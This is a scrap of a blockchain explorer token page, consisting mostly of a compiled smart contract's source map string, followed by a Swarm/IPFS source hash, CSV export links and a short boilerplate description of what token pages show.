;3280:2;3268:9;3259:7;3255:23;3251:32;3248:52;;;3296:1;3293;3286:12;3248:52;3335:9;3322:23;3354:31;3379:5;3354:31;:::i;:::-;3404:5;-1:-1:-1;3461:2:1;3446:18;;3433:32;3474:33;3433:32;3474:33;:::i;3544:180::-;3603:6;3656:2;3644:9;3635:7;3631:23;3627:32;3624:52;;;3672:1;3669;3662:12;3624:52;-1:-1:-1;3695:23:1;;3544:180;-1:-1:-1;3544:180:1:o;3729:380::-;3808:1;3804:12;;;;3851;;;3872:61;;3926:4;3918:6;3914:17;3904:27;;3872:61;3979:2;3971:6;3968:14;3948:18;3945:38;3942:161;;4025:10;4020:3;4016:20;4013:1;4006:31;4060:4;4057:1;4050:15;4088:4;4085:1;4078:15;3942:161;;3729:380;;;:::o;4114:127::-;4175:10;4170:3;4166:20;4163:1;4156:31;4206:4;4203:1;4196:15;4230:4;4227:1;4220:15;4246:128;4313:9;;;4334:11;;;4331:37;;;4348:18;;:::i;4379:125::-;4444:9;;;4465:10;;;4462:36;;;4478:18;;:::i;4509:356::-;4711:2;4693:21;;;4730:18;;;4723:30;4789:34;4784:2;4769:18;;4762:62;4856:2;4841:18;;4509:356::o;5214:168::-;5287:9;;;5318;;5335:15;;;5329:22;;5315:37;5305:71;;5356:18;;:::i;5387:217::-;5427:1;5453;5443:132;;5497:10;5492:3;5488:20;5485:1;5478:31;5532:4;5529:1;5522:15;5560:4;5557:1;5550:15;5443:132;-1:-1:-1;5589:9:1;;5387:217::o;9012:127::-;9073:10;9068:3;9064:20;9061:1;9054:31;9104:4;9101:1;9094:15;9128:4;9125:1;9118:15;9144:251;9214:6;9267:2;9255:9;9246:7;9242:23;9238:32;9235:52;;;9283:1;9280;9273:12;9235:52;9315:9;9309:16;9334:31;9359:5;9334:31;:::i;9400:980::-;9662:4;9710:3;9699:9;9695:19;9741:6;9730:9;9723:25;9767:2;9805:6;9800:2;9789:9;9785:18;9778:34;9848:3;9843:2;9832:9;9828:18;9821:31;9872:6;9907;9901:13;9938:6;9930;9923:22;9976:3;9965:9;9961:19;9954:26;;10015:2;10007:6;10003:15;9989:29;;10036:1;10046:195;10060:6;10057:1;10054:13;10046:195;;;10125:13;;-1:-1:-1;;;;;10121:39:1;10109:52;;10216:15;;;;10181:12;;;;10157:1;10075:9;10046:195;;;-1:-1:-1;;;;;;;10297:32:1;;;;10292:2;10277:18;;10270:60;-1:-1:-1;;;10361:3:1;10346:19;10339:35;10258:3;9400:980;-1:-1:-1;;;9400:980:1:o

Swarm Source

ipfs://7e525e9b948648080c5586f2f14f0cd206d1118126374468c1313630385baea8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.